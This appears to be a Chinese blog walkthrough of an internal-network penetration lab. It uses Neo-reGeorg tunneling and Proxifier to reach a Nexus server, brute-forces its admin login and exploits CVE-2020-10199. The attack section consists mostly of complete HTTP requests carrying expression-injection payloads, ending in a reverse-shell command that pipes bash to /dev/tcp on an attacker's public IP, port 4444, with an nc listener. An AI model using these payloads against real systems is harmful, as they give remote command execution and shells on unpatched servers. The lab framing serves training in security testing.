内网渗透实战+Nexus(CVE-2020-10199)

Nexus(CVE-2020-10199)

本题知识点

  • 内网渗透连接方法
  • Nexus
  • 注意事项:本漏洞必须保证首先在上传一个jar包

内网渗透方法

neo-reGeorg+Proxifier代理内网渗透工具

neo-reGeorg

首先下载neo-reGeorg,下载地址
https://github.com/L-codes/Neo-reGeorg

下载后有如下文件,操作简单,只需要两步

  • 1.在本地设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器(靶机)
python neoreg.py generate -k admin

其中admin是密码,可以随便设置,成功后返回结果如下

可一看到在文件夹中多出了一个文件夹neoreg_servers。

打开后发现相关脚本,服务器是什么语言上传想用语言的脚本。

在这里,我这里是php的语言,在第一步getshell之后直接在仪剑中上传tunnel.php,

  • 上传完成后在本地实行监听,使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理
python3 neoreg.py -k admin -u http://xx/tunnel.php

其中admin为刚才我们设置的密码,如果连接成功,返回如下:

没有ERROR,只有一个闪光标,可以看到socks5 server端口为1080,接下来我们需要配置Proxifier。

proxifiter for mac配置


首先点击添加代理,刚才我们看到端口为1080


点击rules,创建规则,如下

其中Default选择Direct,新建一个socts,代理为刚才的127.0.0.1:1080,最主要的是Target Hosts,这里可以填写我们需要代理的地址,如本题,我们在上个题目中发现为192.168.144.*

所以秩序将Target Hosts改为192.168.144.0-192.168.144.255即可,添加完成后直接用Google访问192.168.144.3:8081即可。
登录后直接登录,爆破



爆破出密码admin123,进行登录


将必填项填写后,点击upload。

Nexus漏洞验证

注释:此处的漏洞验证应用到了vulfocus中的靶场,不过特别不好用,在这里打了一会后用本机再次搭建的。
发送验证数据包

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 123.58.224.8:63778
Content-Length: 203
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.9425898541928359
Content-Type: application/json
Accept: */*
Origin: http://123.58.224.8:63778
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://123.58.224.8:63778/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.9425898541928359; NXSESSIONID=74764ce0-fcbf-4edd-bf2c-878657b42c29
Connection: close

{
  "name": "internal",
  "online": true,
  "storage": {
    "blobStoreName": "default",
    "strictContentTypeValidation": true
  },
  "group": {
    "memberNames": ["$\\A{233*233*233}"]
  }
}

上面需要修改三个地方,Host: 123.58.224.8:63778Origin: http://123.58.224.8:63778Referer: http://123.58.224.8:63778/ 修改为自己的ip。

NX-ANTI-CSRF-TOKEN=0.9425898541928359; NXSESSIONID=74764ce0-fcbf-4edd-bf2c-878657b42c29修改为自己登录后的TOKEN和NXSESSIONID,注意还有上面有一个NX-ANTI-CSRF-TOKEN: 0.9425898541928359需要修改。
修改完后,直接发送上述数据包,如图。

可以看到233233233被计算出来了,漏洞存在。
使用表达式$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}即可成功执行任意命令。

如图,命令执行成功。

反弹shell

此处的payload为本地搭建的环境。

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 331
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.35495162173217687
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1:8081/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://127.0.0.1:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.35495162173217687; NXSESSIONID=335df1ae-9085-41d1-87c7-033ef20fe5d5
Connection: close

{
  "name": "internal",
  "online": true,
  "storage": {
    "blobStoreName": "default",
    "strictContentTypeValidation": true
  },
  "group": {
    "memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/公网ip/4444<&1')}"]
  }
}

也是和上面一样,需要修改三个地方,Host: 127.0.0.1:8081Origin: http://127.0.0.1:8081Referer: http://127.0.0.1:8081/ 修改为自己靶机的ip端口。

NX-ANTI-CSRF-TOKEN=0.35495162173217687;NXSESSIONID=335df1ae-9085-41d1-87c7-033ef20fe5d5修改为自己登录后的TOKEN和NXSESSIONID,注意还有上面有一个NX-ANTI-CSRF-TOKEN: 0.35495162173217687需要修改。
最后公网ip是自己的云服务器地址,在公网ip(云服务器)上用nc执行监控4444端口

如图,表示反弹shell成功。在公网ip上用nc执行监控4444端口

我们在公网服务器上可以看到执行命令成功。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值